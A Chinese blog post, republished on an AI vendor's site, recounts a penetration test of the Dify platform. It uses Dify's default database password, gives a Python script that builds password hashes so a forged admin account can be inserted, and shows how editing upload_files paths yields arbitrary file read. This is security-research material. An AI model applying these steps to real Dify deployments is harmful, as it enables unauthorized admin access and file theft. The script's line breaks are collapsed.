支持私有化部署
AI知识库

53AI知识库

学习大模型的前沿技术与行业应用场景


关于一次dify的渗透

发布日期:2025-04-26 23:31:05 浏览次数: 1607 作者:e0m安全屋
推荐语

深入探索difyAI的渗透测试过程,揭示数据库和Web安全漏洞。

核心内容:
1. difyAI数据库权限设置和默认密码风险
2. 利用psql和redis的默认配置进行连接尝试
3. 通过审计代码获取后台权限,创建新用户账号的方法

杨芳贤
53A创始人/腾讯云(TVP)最具价值专家
https://github.com/langgenius/dify
ai目前最近很火,刚好工作中碰到了,就记录一下吧。
数据库权限入口
dify的账号密码是初始化登录的时候设置的,暂时不考虑账号的弱口令。但是dify的启动过程中,会开启psql和redis。默认密码是difyai123456.截图如下。可以尝试连接。本次的重点就是从这里开始的。
丢一个默认的配置吧。没仔细研究但是看了应该是默认的。
psql权限可以执行系统命令不再老生长谈。但是只是一个docker的权限,还能利用的操作空间不大。
获取后台权限
拿到了数据库,我们的目前是dify web的数据或者权限。所以还是要回归web来。审计dify的代码发现,获取了数据库,可以通过数据库新增一个账号来进入后台。源代码如下,密码的规则如下
那么可以去生成一个账号。细节不分析了 我这里直接贴代码
import secretsimport base64import hashlibimport binasciiimport uuid

# 生成16字节的盐值def generate_salt():    return secrets.token_bytes(16)

# 对密码进行哈希处理,返回加密后的密文def hash_password(password_str, salt_byte):    dk = hashlib.pbkdf2_hmac("sha256", password_str.encode("utf-8"), salt_byte, 10000)    return binascii.hexlify(dk)

# 对结果进行base64编码def encode_base64(data):    return base64.b64encode(data).decode()

# 密码加密和存储的主过程def encrypt_password(new_password):    # 生成盐值    salt = generate_salt()
    # 密码哈希加密    password_hashed = hash_password(new_password, salt)
    # 编码密码和盐值为base64格式    base64_password_hashed = encode_base64(password_hashed)    base64_salt = encode_base64(salt)
    return base64_password_hashed, base64_salt

# 模拟账户类class Account:    def __init__(self, password, salt):        self.password = password        self.password_salt = salt

# 测试用例,设置密码new_password = "Dasiwoba1"  # 这里替换为你的密码
# 获取加密后的密码和盐值encrypted_password, encrypted_salt = encrypt_password(new_password)
# 创建账户对象,并存储加密信息account = Account(encrypted_password, encrypted_salt)
# 输出加密结果print(uuid.uuid4())print("Encrypted Password (Base64):", account.password)print("Salt (Base64):", account.password_salt)
接下来就可以去利用账号登录后台了。
accounts表 邮箱自己定义
这里有两个坑
(1)密码必须要符合下面的规律,不然直接不通过。
(2)注册的用户没有workplace 导致无法登录,代码如下,同样的方法,插入一条数据就好了。
但是这里有join 所以需要插入三个表

当完成了这一步,就可以进入后台了。
任意文件读取
dify的后台我没有仔细看代码 简单github搜了一下,也没啥特别严重的漏洞。看数据库数据的时候,upload_files引起了我的注意。这里的key是个绝对路径
看代码+看功能点费了点时间,主要是uuid看着不舒服 直接说结论吧。
上传的时候,保存到本地文件,然后去读取本地文件的内容再重新保存到库里。我们现在有数据库的权限,就可以通过数据库里修改文件地址,然后去读取,达到任意文件读取的目的。这里做个演示。
知识库-》新建知识库,这里会上传文件保存到数据库里

然后在数据库upload_file中去修改文件为需要读取的文件

点击上一步再继续,或者直接重放包都行。效果如下,达到了任意文件读取的效果。
关于shell的话,环境目前碰到基本都是docker,信息太少了,而且只有一个文件读取。没有其他比较好的思路了。代码也没时间看完,不知道有没有其他的点。抛砖引玉吧。
由于图片需要高度打码+本地环境贴了一些 所以有些id可能对不上,有兴趣自己去搞。

53AI,企业落地大模型首选服务商

产品:场景落地咨询+大模型应用平台+行业解决方案

承诺:免费场景POC验证,效果验证后签署服务协议。零风险落地应用大模型,已交付160+中大型企业

联系我们

售前咨询
186 6662 7370
预约演示
185 8882 0121

微信扫码

添加专属顾问

回到顶部

加载中...

扫码咨询